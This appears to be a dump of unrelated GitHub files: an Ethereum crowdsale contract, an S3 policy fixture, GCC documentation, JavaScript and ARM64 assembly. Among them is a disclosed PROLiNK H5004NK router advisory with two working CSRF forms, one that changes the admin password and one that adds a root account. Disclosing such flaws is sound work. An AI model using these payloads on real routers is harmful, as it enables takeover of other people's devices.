allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
address public unlockedAddress;
function setUnlockedAddress(address newUnlockedAddress) public onlyOwner {
unlockedAddress = newUnlockedAddress;
}
modifier notLocked() {
require(msg.sender == owner || msg.sender == saleAgent || msg.sender == unlockedAddress || mintingFinished);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract NextSaleAgentFeature is Ownable {
address public nextSaleAgent;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner {
nextSaleAgent = newNextSaleAgent;
}
}
contract PercentRateProvider is Ownable {
uint public percentRate = 100;
function setPercentRate(uint newPercentRate) public onlyOwner {
percentRate = newPercentRate;
}
}
contract WalletProvider is Ownable {
address public wallet;
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
contract InputAddressFeature {
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function getInputAddress() internal pure returns(address) {
if(msg.data.length == 20) {
return bytesToAddress(bytes(msg.data));
}
return address(0);
}
}
contract InvestedProvider is Ownable {
uint public invested;
}
contract StagedCrowdsale is Ownable {
using SafeMath for uint;
struct Milestone {
uint period;
uint bonus;
}
uint public totalPeriod;
Milestone[] public milestones;
function milestonesCount() public view returns(uint) {
return milestones.length;
}
function addMilestone(uint period, uint bonus) public onlyOwner {
require(period > 0);
milestones.push(Milestone(period, bonus));
totalPeriod = totalPeriod.add(period);
}
function removeMilestone(uint8 number) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
delete milestones[number];
for (uint i = number; i < milestones.length - 1; i++) {
milestones[i] = milestones[i+1];
}
milestones.length--;
}
function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
milestone.period = period;
milestone.bonus = bonus;
totalPeriod = totalPeriod.add(period);
}
function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner {
require(numberAfter < milestones.length);
totalPeriod = totalPeriod.add(period);
milestones.length++;
for (uint i = milestones.length - 2; i > numberAfter; i--) {
milestones[i + 1] = milestones[i];
}
milestones[numberAfter + 1] = Milestone(period, bonus);
}
function clearMilestones() public onlyOwner {
require(milestones.length > 0);
for (uint i = 0; i < milestones.length; i++) {
delete milestones[i];
}
milestones.length -= milestones.length;
totalPeriod = 0;
}
function lastSaleDate(uint start) public view returns(uint) {
return start + totalPeriod * 1 days;
}
function currentMilestone(uint start) public view returns(uint) {
uint previousDate = start;
for(uint i=0; i < milestones.length; i++) {
if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(milestones[i].period * 1 days);
}
revert();
}
}
contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature {
using SafeMath for uint;
address public directMintAgent;
uint public price;
uint public start;
uint public minInvestedLimit;
MintableToken public token;
uint public hardcap;
modifier isUnderHardcap() {
require(invested < hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier minInvestLimited(uint value) {
require(value >= minInvestedLimit);
_;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner {
minInvestedLimit = newMinInvestedLimit;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function setToken(address newToken) public onlyOwner {
token = MintableToken(newToken);
}
function calculateTokens(uint _invested) internal returns(uint);
function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner {
mintTokens(to, tokens);
}
function mintTokens(address to, uint tokens) internal {
token.mint(this, tokens);
token.transfer(to, tokens);
}
function endSaleDate() public view returns(uint);
function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) {
return mintTokensByETH(to, _invested);
}
function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) {
invested = invested.add(_invested);
uint tokens = calculateTokens(_invested);
mintTokens(to, tokens);
return tokens;
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
wallet.transfer(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
function () public payable {
fallback();
}
}
contract ReferersRewardFeature is InputAddressFeature, CommonSale {
uint public refererPercent;
uint public referalsMinInvestLimit;
function setReferalsMinInvestLimit(uint newRefereralsMinInvestLimit) public onlyOwner {
referalsMinInvestLimit = newRefereralsMinInvestLimit;
}
function setRefererPercent(uint newRefererPercent) public onlyOwner {
refererPercent = newRefererPercent;
}
function fallback() internal returns(uint) {
uint tokens = super.fallback();
if(msg.value >= referalsMinInvestLimit) {
address referer = getInputAddress();
if(referer != address(0)) {
require(referer != address(token) && referer != msg.sender && referer != address(this));
mintTokens(referer, tokens.mul(refererPercent).div(percentRate));
}
}
return tokens;
}
}
contract ReferersCommonSale is RetrieveTokensFeature, ReferersRewardFeature {
}
contract AssembledCommonSale is StagedCrowdsale, ReferersCommonSale {
function calculateTokens(uint _invested) internal returns(uint) {
uint milestoneIndex = currentMilestone(start);
Milestone storage milestone = milestones[milestoneIndex];
uint tokens = _invested.mul(price).div(1 ether);
if(milestone.bonus > 0) {
tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate));
}
return tokens;
}
function endSaleDate() public view returns(uint) {
return lastSaleDate(start);
}
}
contract CallbackTest is ReceivingContractCallback {
address public from;
uint public value;
function tokenFallback(address _from, uint _value) public
{
from = _from;
value = _value;
}
}
contract SoftcapFeature is InvestedProvider, WalletProvider {
using SafeMath for uint;
mapping(address => uint) public balances;
bool public softcapAchieved;
bool public refundOn;
uint public softcap;
uint public constant devLimit = 4500000000000000000;
address public constant devWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770;
function setSoftcap(uint newSoftcap) public onlyOwner {
softcap = newSoftcap;
}
function withdraw() public {
require(msg.sender == owner || msg.sender == devWallet);
require(softcapAchieved);
devWallet.transfer(devLimit);
wallet.transfer(this.balance);
}
function updateBalance(address to, uint amount) internal {
balances[to] = balances[to].add(amount);
if (!softcapAchieved && invested >= softcap) {
softcapAchieved = true;
}
}
function refund() public {
require(refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function updateRefundState() internal returns(bool) {
if (!softcapAchieved) {
refundOn = true;
}
return refundOn;
}
}
contract Configurator is Ownable {
MintableToken public token;
PreITO public preITO;
ITO public ito;
function deploy() public onlyOwner {
token = new GeseToken();
preITO = new PreITO();
preITO.setWallet(0xa86780383E35De330918D8e4195D671140A60A74);
preITO.setStart(1526342400);
preITO.setPeriod(15);
preITO.setPrice(786700);
preITO.setMinInvestedLimit(100000000000000000);
preITO.setHardcap(3818000000000000000000);
preITO.setSoftcap(3640000000000000000000);
preITO.setReferalsMinInvestLimit(100000000000000000);
preITO.setRefererPercent(5);
preITO.setToken(token);
token.setSaleAgent(preITO);
ito = new ITO();
ito.setWallet(0x98882D176234AEb736bbBDB173a8D24794A3b085);
ito.setStart(1527811200);
ito.addMilestone(5, 33);
ito.addMilestone(5, 18);
ito.addMilestone(5, 11);
ito.addMilestone(5, 5);
ito.addMilestone(10, 0);
ito.setPrice(550000);
ito.setMinInvestedLimit(100000000000000000);
ito.setHardcap(49090000000000000000000);
ito.setBountyTokensWallet(0x28732f6dc12606D529a020b9ac04C9d6f881D3c5);
ito.setAdvisorsTokensWallet(0x28732f6dc12606D529a020b9ac04C9d6f881D3c5);
ito.setTeamTokensWallet(0x28732f6dc12606D529a020b9ac04C9d6f881D3c5);
ito.setReservedTokensWallet(0x28732f6dc12606D529a020b9ac04C9d6f881D3c5);
ito.setBountyTokensPercent(5);
ito.setAdvisorsTokensPercent(10);
ito.setTeamTokensPercent(10);
ito.setReservedTokensPercent(10);
ito.setReferalsMinInvestLimit(100000000000000000);
ito.setRefererPercent(5);
ito.setToken(token);
preITO.setNextSaleAgent(ito);
address manager = 0x675eDE27cafc8Bd07bFCDa6fEF6ac25031c74766;
token.transferOwnership(manager);
preITO.transferOwnership(manager);
ito.transferOwnership(manager);
}
}
contract ERC20Cutted {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract GeseToken is MintableToken {
string public constant name = "Gese";
string public constant symbol = "GSE";
uint32 public constant decimals = 2;
mapping(address => bool) public registeredCallbacks;
function transfer(address _to, uint256 _value) public returns (bool) {
return processCallback(super.transfer(_to, _value), msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value);
}
function registerCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = true;
}
function deregisterCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = false;
}
function processCallback(bool result, address from, address to, uint value) internal returns(bool) {
if (result && registeredCallbacks[to]) {
ReceivingContractCallback targetCallback = ReceivingContractCallback(to);
targetCallback.tokenFallback(from, value);
}
return result;
}
}
contract ITO is AssembledCommonSale {
address public bountyTokensWallet;
address public advisorsTokensWallet;
address public teamTokensWallet;
address public reservedTokensWallet;
uint public bountyTokensPercent;
uint public advisorsTokensPercent;
uint public teamTokensPercent;
uint public reservedTokensPercent;
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setAdvisorsTokensPercent(uint newAdvisorsTokensPercent) public onlyOwner {
advisorsTokensPercent = newAdvisorsTokensPercent;
}
function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner {
teamTokensPercent = newTeamTokensPercent;
}
function setReservedTokensPercent(uint newReservedTokensPercent) public onlyOwner {
reservedTokensPercent = newReservedTokensPercent;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner {
advisorsTokensWallet = newAdvisorsTokensWallet;
}
function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner {
teamTokensWallet = newTeamTokensWallet;
}
function setReservedTokensWallet(address newReservedTokensWallet) public onlyOwner {
reservedTokensWallet = newReservedTokensWallet;
}
function finish() public onlyOwner {
uint summaryTokensPercent = bountyTokensPercent.add(advisorsTokensPercent).add(teamTokensPercent).add(reservedTokensPercent);
uint mintedTokens = token.totalSupply();
uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent));
uint advisorsTokens = allTokens.mul(advisorsTokensPercent).div(percentRate);
uint bountyTokens = allTokens.mul(bountyTokensPercent).div(percentRate);
uint teamTokens = allTokens.mul(teamTokensPercent).div(percentRate);
uint reservedTokens = allTokens.mul(reservedTokensPercent).div(percentRate);
mintTokens(advisorsTokensWallet, advisorsTokens);
mintTokens(bountyTokensWallet, bountyTokens);
mintTokens(teamTokensWallet, teamTokens);
mintTokens(reservedTokensWallet, reservedTokens);
token.finishMinting();
}
}
contract PreITO is NextSaleAgentFeature, SoftcapFeature, ReferersCommonSale {
uint public period;
function calculateTokens(uint _invested) internal returns(uint) {
return _invested.mul(price).div(1 ether);
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function endSaleDate() public view returns(uint) {
return start.add(period * 1 days);
}
function mintTokensByETH(address to, uint _invested) internal returns(uint) {
uint _tokens = super.mintTokensByETH(to, _invested);
updateBalance(to, _invested);
return _tokens;
}
function finish() public onlyOwner {
if (updateRefundState()) {
token.finishMinting();
} else {
withdraw();
token.setSaleAgent(nextSaleAgent);
}
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
uint tokens = mintTokensByETH(msg.sender, msg.value);
if(msg.value >= referalsMinInvestLimit) {
address referer = getInputAddress();
if(referer != address(0)) {
require(referer != address(token) && referer != msg.sender && referer != address(this));
mintTokens(referer, tokens.mul(refererPercent).div(percentRate));
}
}
return tokens;
}
}
contract TestConfigurator is Ownable {
GeseToken public token;
PreITO public preITO;
ITO public ito;
function setToken(address _token) public onlyOwner {
token = GeseToken(_token);
}
function setPreITO(address _preITO) public onlyOwner {
preITO = PreITO(_preITO);
}
function setITO(address _ito) public onlyOwner {
ito = ITO(_ito);
}
function deploy() public onlyOwner {
preITO.setWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
preITO.setStart(1522108800);
preITO.setPeriod(15);
preITO.setPrice(786700);
preITO.setMinInvestedLimit(100000000000000000);
preITO.setHardcap(3818000000000000000000);
preITO.setSoftcap(3640000000000000000000);
preITO.setReferalsMinInvestLimit(100000000000000000);
preITO.setRefererPercent(5);
preITO.setToken(token);
token.setSaleAgent(preITO);
preITO.setNextSaleAgent(ito);
ito.setStart(1522108800);
ito.addMilestone(5, 33);
ito.addMilestone(5, 18);
ito.addMilestone(5, 11);
ito.addMilestone(5, 5);
ito.addMilestone(10, 0);
ito.setPrice(550000);
ito.setMinInvestedLimit(100000000000000000);
ito.setHardcap(49090000000000000000000);
ito.setWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ito.setBountyTokensWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ito.setAdvisorsTokensWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ito.setTeamTokensWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ito.setReservedTokensWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ito.setBountyTokensPercent(5);
ito.setAdvisorsTokensPercent(10);
ito.setTeamTokensPercent(10);
ito.setReservedTokensPercent(10);
ito.setReferalsMinInvestLimit(100000000000000000);
ito.setRefererPercent(5);
ito.setToken(token);
token.transferOwnership(owner);
preITO.transferOwnership(owner);
ito.transferOwnership(owner);
}
} | {
"pile_set_name": "Github"
} |
{
"status_code": 200,
"data": {
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"Zebra\",\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:PutObject\",\"Resource\":\"arn:aws:s3:::custodian-policy-test/*\",\"Condition\":{\"StringNotEquals\":{\"s3:x-amz-server-side-encryption\":[\"AES256\",\"aws:kms\"]}}},{\"Sid\":\"Zebra\",\"Effect\":\"Deny\",\"Principal\":\"arn:aws:iam::644160558196:root\",\"Action\":\"s3:PutObject\",\"Resource\":\"arn:aws:s3:::custodian-policy-test/*\"}]}",
"ResponseMetadata": {
"HTTPStatusCode": 200,
"HostId": "jL1IZT8BmFaliIyAn7834ng9hk11JPgxBLJYNMg2IPtcu8A6MVtzs/Yz6FMO5IVe4exEBQIGvGg=",
"RequestId": "2592899758274ED6"
}
}
}
| {
"pile_set_name": "Github"
} |
1
| {
"pile_set_name": "Github"
} |
using System;
namespace Avalonia.Markup.Xaml
{
public interface IProvideValueTarget
{
object TargetObject { get; }
object TargetProperty { get; }
}
public interface IRootObjectProvider
{
/// <summary>
/// The root object of the xaml file
/// </summary>
object RootObject { get; }
/// <summary>
/// The "current" root object, contains either the root of the xaml file
/// or the root object of the control/data template
/// </summary>
object IntermediateRootObject { get; }
}
public interface IUriContext
{
Uri BaseUri { get; set; }
}
public interface IXamlTypeResolver
{
Type Resolve (string qualifiedTypeName);
}
public class ConstructorArgumentAttribute : Attribute
{
public ConstructorArgumentAttribute(string name)
{
}
}
}
| {
"pile_set_name": "Github"
} |
<html lang="en">
<head>
<title>GIMPLE Exception Handling - GNU Compiler Collection (GCC) Internals</title>
<meta http-equiv="Content-Type" content="text/html">
<meta name="description" content="GNU Compiler Collection (GCC) Internals">
<meta name="generator" content="makeinfo 4.7">
<link title="Top" rel="start" href="index.html#Top">
<link rel="up" href="Statements.html#Statements" title="Statements">
<link rel="prev" href="Cleanups.html#Cleanups" title="Cleanups">
<link href="http://www.gnu.org/software/texinfo/" rel="generator-home" title="Texinfo Homepage">
<!--
Copyright (C) 1988, 1989, 1992, 1993, 1994, 1995, 1996, 1997, 1998,
1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006,
2007 Free Software Foundation, Inc.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.2 or
any later version published by the Free Software Foundation; with the
Invariant Sections being ``GNU General Public License'' and ``Funding
Free Software'', the Front-Cover texts being (a) (see below), and with
the Back-Cover Texts being (b) (see below). A copy of the license is
included in the section entitled ``GNU Free Documentation License''.
(a) The FSF's Front-Cover Text is:
A GNU Manual
(b) The FSF's Back-Cover Text is:
You have freedom to copy and modify this GNU Manual, like GNU
software. Copies published by the Free Software Foundation raise
funds for GNU development.-->
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css"><!--
pre.display { font-family:inherit }
pre.format { font-family:inherit }
pre.smalldisplay { font-family:inherit; font-size:smaller }
pre.smallformat { font-family:inherit; font-size:smaller }
pre.smallexample { font-size:smaller }
pre.smalllisp { font-size:smaller }
span.sc { font-variant:small-caps }
span.roman { font-family: serif; font-weight: normal; }
--></style>
</head>
<body>
<div class="node">
<p>
<a name="GIMPLE-Exception-Handling"></a>Previous: <a rel="previous" accesskey="p" href="Cleanups.html#Cleanups">Cleanups</a>,
Up: <a rel="up" accesskey="u" href="Statements.html#Statements">Statements</a>
<hr><br>
</div>
<h5 class="subsubsection">10.2.4.8 Exception Handling</h5>
<p><a name="index-GIMPLE-Exception-Handling-2085"></a>
Other exception handling constructs are represented using
<code>TRY_CATCH_EXPR</code>. <code>TRY_CATCH_EXPR</code> has two operands. The
first operand is a sequence of statements to execute. If executing
these statements does not throw an exception, then the second operand
is ignored. Otherwise, if an exception is thrown, then the second
operand of the <code>TRY_CATCH_EXPR</code> is checked. The second operand
may have the following forms:
<ol type=1 start=1>
<li>A sequence of statements to execute. When an exception occurs,
these statements are executed, and then the exception is rethrown.
<li>A sequence of <code>CATCH_EXPR</code> expressions. Each <code>CATCH_EXPR</code>
has a list of applicable exception types and handler code. If the
thrown exception matches one of the caught types, the associated
handler code is executed. If the handler code falls off the bottom,
execution continues after the original <code>TRY_CATCH_EXPR</code>.
<li>An <code>EH_FILTER_EXPR</code> expression. This has a list of
permitted exception types, and code to handle a match failure. If the
thrown exception does not match one of the allowed types, the
associated match failure code is executed. If the thrown exception
does match, it continues unwinding the stack looking for the next
handler.
</ol>
<p>Currently throwing an exception is not directly represented in GIMPLE,
since it is implemented by calling a function. At some point in the future
we will want to add some way to express that the call will throw an
exception of a known type.
<p>Just before running the optimizers, the compiler lowers the high-level
EH constructs above into a set of <span class="samp">goto</span>s, magic labels, and EH
regions. Continuing to unwind at the end of a cleanup is represented
with a <code>RESX_EXPR</code>.
</body></html>
| {
"pile_set_name": "Github"
} |
//
// ReleaseiPhone32.xcconfig
//
// Xcode configuration file for building a Release configuration of a project
// for iPhone OS 3.2.
//
// Copyright 2010 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy
// of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
// WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
// License for the specific language governing permissions and limitations under
// the License.
//
// This is a _Configuration_ Xcode config file for use in the "Based on" popup
// of the project configuration editor. Do _not_ use this as the config base
// and individual Xcode target, there are other configuration files for that
// purpose.
// This file will be going away, please migrate off it. Instead Apple wants
// you to use the "current" SDK, use ReleaseiOS.xcconfig and set your min
// supported iOS version in your project file.
// Pull in the general settings
#include "../subconfig/General.xcconfig"
// iPhone settings.
#include "../subconfig/iPhone32.xcconfig"
// Release settings
#include "../subconfig/Release.xcconfig"
// Merge settings
#include "../subconfig/GTMMerge.xcconfig"
| {
"pile_set_name": "Github"
} |
# Exploit Title: PROLiNK H5004NK Multiple Vulnerabilities
# Date: 16-04-2015
# Firmware: R76S Slt 4WNE1 6.1R
# Tested on: Windows 8 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Disclaimer: Use this for educational purposes only!
#1| Admin Password Manipulation XSRF
-----------------------------------------------------
<html>
<body>
<form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="oldpass" value="password" />
<input type="hidden" name="newpass" value="admin" />
<input type="hidden" name="confpass" value="admin" />
<input type="hidden" name="modify" value="Modify" />
<input type="hidden" name="select" value="s0" />
<input type="hidden" name="hiddenpass" value="password" />
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
#2| Adding a New Root Account XSRF
-----------------------------------------------------
<html>
<body>
<form action="http://192.168.1.1/form2userconfig.cgi" method="POST">
<input type="hidden" name="username" value="haxor" />
<input type="hidden" name="privilege" value="2" />
<input type="hidden" name="newpass" value="123" />
<input type="hidden" name="confpass" value="123" />
<input type="hidden" name="adduser" value="Add" />
<input type="hidden" name="hiddenpass" value="" />
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| {
"pile_set_name": "Github"
} |
// Distributed under the terms of the MIT license
// Test case submitted to project by https://github.com/practicalswift (practicalswift)
// Test case found by fuzzing
class B<T where T:T{let b{struct d{func b(t | {
"pile_set_name": "Github"
} |
/** @namespace */
var THREEx = THREEx || {};
// TODO http://29a.ch/2011/9/11/uploading-from-html5-canvas-to-imgur-data-uri
// able to upload your screenshot without running servers
// forced closure
(function(){
/**
* Take a screenshot of a renderer
* - require WebGLRenderer to have "preserveDrawingBuffer: true" to be set
* - TODO is it possible to check if this variable is set ? if so check it
* and make advice in the console.log
* - maybe with direct access to the gl context...
*
* @param {Object} renderer to use
* @param {String} mimetype of the output image. default to "image/png"
* @param {String} dataUrl of the image
*/
var toDataURL = function(renderer, mimetype)
{
mimetype = mimetype || "image/png";
var dataUrl = renderer.domElement.toDataURL(mimetype);
return dataUrl;
}
/**
* resize an image to another resolution while preserving aspect
*
* @param {String} srcUrl the url of the image to resize
* @param {Number} dstWidth the destination width of the image
* @param {Number} dstHeight the destination height of the image
* @param {Number} callback the callback to notify once completed with callback(newImageUrl)
*/
var _aspectResize = function(srcUrl, dstW, dstH, callback){
// to compute the width/height while keeping aspect
var cpuScaleAspect = function(maxW, maxH, curW, curH){
var ratio = curH / curW;
if( curW >= maxW && ratio <= 1 ){
curW = maxW;
curH = maxW * ratio;
}else if(curH >= maxH){
curH = maxH;
curW = maxH / ratio;
}
return { width: curW, height: curH };
}
// callback once the image is loaded
var __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; };
var onLoad = __bind(function(){
// init the canvas
var canvas = document.createElement('canvas');
canvas.width = dstW; canvas.height = dstH;
var ctx = canvas.getContext('2d');
// TODO is this needed
ctx.fillStyle = "black";
ctx.fillRect(0, 0, canvas.width, canvas.height);
// scale the image while preserving the aspect
var scaled = cpuScaleAspect(canvas.width, canvas.height, image.width, image.height);
// actually draw the image on canvas
var offsetX = (canvas.width - scaled.width )/2;
var offsetY = (canvas.height - scaled.height)/2;
ctx.drawImage(image, offsetX, offsetY, scaled.width, scaled.height);
// dump the canvas to an URL
var mimetype = "image/png";
var newDataUrl = canvas.toDataURL(mimetype);
// notify the url to the caller
callback && callback(newDataUrl)
}, this);
// Create new Image object
var image = new Image();
image.onload = onLoad;
image.src = srcUrl;
}
// Super cooked function: THREEx.Screenshot.bindKey(renderer)
// and you are done to get screenshot on your demo
/**
* Bind a key to renderer screenshot
*/
var bindKey = function(renderer, opts){
// handle parameters
opts = opts || {};
var charCode = opts.charCode || 'p'.charCodeAt(0);
var width = opts.width;
var height = opts.height;
var callback = opts.callback || function(url){
window.open(url, "name-"+Math.random());
};
// callback to handle keypress
var __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; };
var onKeyPress = __bind(function(event){
// return now if the KeyPress isnt for the proper charCode
if( event.which !== charCode ) return;
// get the renderer output
var dataUrl = this.toDataURL(renderer);
if( width === undefined && height === undefined ){
callback( dataUrl )
}else{
// resize it and notify the callback
// * resize == async so if callback is a window open, it triggers the pop blocker
_aspectResize(dataUrl, width, height, callback);
}
}, this);
// listen to keypress
// NOTE: for firefox it seems mandatory to listen to document directly
document.addEventListener('keypress', onKeyPress, false);
return {
unbind : function(){
document.removeEventListener('keypress', onKeyPress, false);
}
};
}
// export it
THREEx.Screenshot = {
toDataURL : toDataURL,
bindKey : bindKey
};
})();
| {
"pile_set_name": "Github"
} |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include <unixasmmacros.inc>
#include "AsmOffsets.inc"
#ifdef FEATURE_CACHED_INTERFACE_DISPATCH
.extern RhpCidResolve
.extern RhpUniversalTransition_DebugStepTailCall
// Macro that generates code to check a single cache entry.
.macro CHECK_CACHE_ENTRY entry
// Check a single entry in the cache.
// x9 : Cache data structure. Also used for target address jump.
// x10 : Instance EEType*
// x11 : x11 still contains the indirection cell address. do not trash
// x12 : Trashed
ldr x12, [x9, #(OFFSETOF__InterfaceDispatchCache__m_rgEntries + (\entry * 16))]
cmp x10, x12
bne 0f
ldr x9, [x9, #(OFFSETOF__InterfaceDispatchCache__m_rgEntries + (\entry * 16) + 8)]
br x9
0:
.endm
//
// Macro that generates a stub consuming a cache with the given number of entries.
//
.macro DEFINE_INTERFACE_DISPATCH_STUB entries
NESTED_ENTRY "RhpInterfaceDispatch\entries", _TEXT, NoHandler
// x11 currently holds the indirection cell address. We need to get the cache structure instead.
ldr x9, [x11, #OFFSETOF__InterfaceDispatchCell__m_pCache]
// Load the EEType from the object instance in x0.
ldr x10, [x0]
.global CurrentEntry
.set CurrentEntry, 0
.rept \entries
CHECK_CACHE_ENTRY CurrentEntry
.set CurrentEntry, CurrentEntry + 1
.endr
// x11 still contains the indirection cell address.
b RhpInterfaceDispatchSlow
NESTED_END "RhpInterfaceDispatch\entries", _TEXT
.endm
//
// Define all the stub routines we currently need.
//
DEFINE_INTERFACE_DISPATCH_STUB 1
DEFINE_INTERFACE_DISPATCH_STUB 2
DEFINE_INTERFACE_DISPATCH_STUB 4
DEFINE_INTERFACE_DISPATCH_STUB 8
DEFINE_INTERFACE_DISPATCH_STUB 16
DEFINE_INTERFACE_DISPATCH_STUB 32
DEFINE_INTERFACE_DISPATCH_STUB 64
//
// Initial dispatch on an interface when we dont have a cache yet.
//
LEAF_ENTRY RhpInitialInterfaceDispatch, _TEXT
// Just tail call to the cache miss helper.
b RhpInterfaceDispatchSlow
LEAF_END RhpInitialInterfaceDispatch, _TEXT
//
// Stub dispatch routine for dispatch to a vtable slot
//
LEAF_ENTRY RhpVTableOffsetDispatch, _TEXT
// xip1 has the interface dispatch cell address in it.
// load x12 to point to the vtable offset (which is stored in the m_pCache field).
ldr x12, [xip1, #OFFSETOF__InterfaceDispatchCell__m_pCache]
// Load the EEType from the object instance in x0, and add it to the vtable offset
// to get the address in the vtable of what we want to dereference
ldr x13, [x0]
add x12, x12, x13
// Load the target address of the vtable into x12
ldr x12, [x12]
br x12
LEAF_END RhpVTableOffsetDispatch, _TEXT
//
// Cache miss case, call the runtime to resolve the target and update the cache.
//
LEAF_ENTRY RhpInterfaceDispatchSlow, _TEXT
ALTERNATE_ENTRY RhpInitialDynamicInterfaceDispatch
// xip1 has the interface dispatch cell address in it.
// Calling convention of the universal thunk is:
// xip0: contains target address for the thunk to call
// xip1: contains parameter of the thunks target
PREPARE_EXTERNAL_VAR RhpCidResolve, xip0
mov xip1, x11
b RhpUniversalTransition_DebugStepTailCall
LEAF_END RhpInterfaceDispatchSlow, _TEXT
#endif // FEATURE_CACHED_INTERFACE_DISPATCH
| {
"pile_set_name": "Github"
} |
<!--
@author Google LLC
@author Andy Scherzinger
Copyright (C) 2018 Google LLC
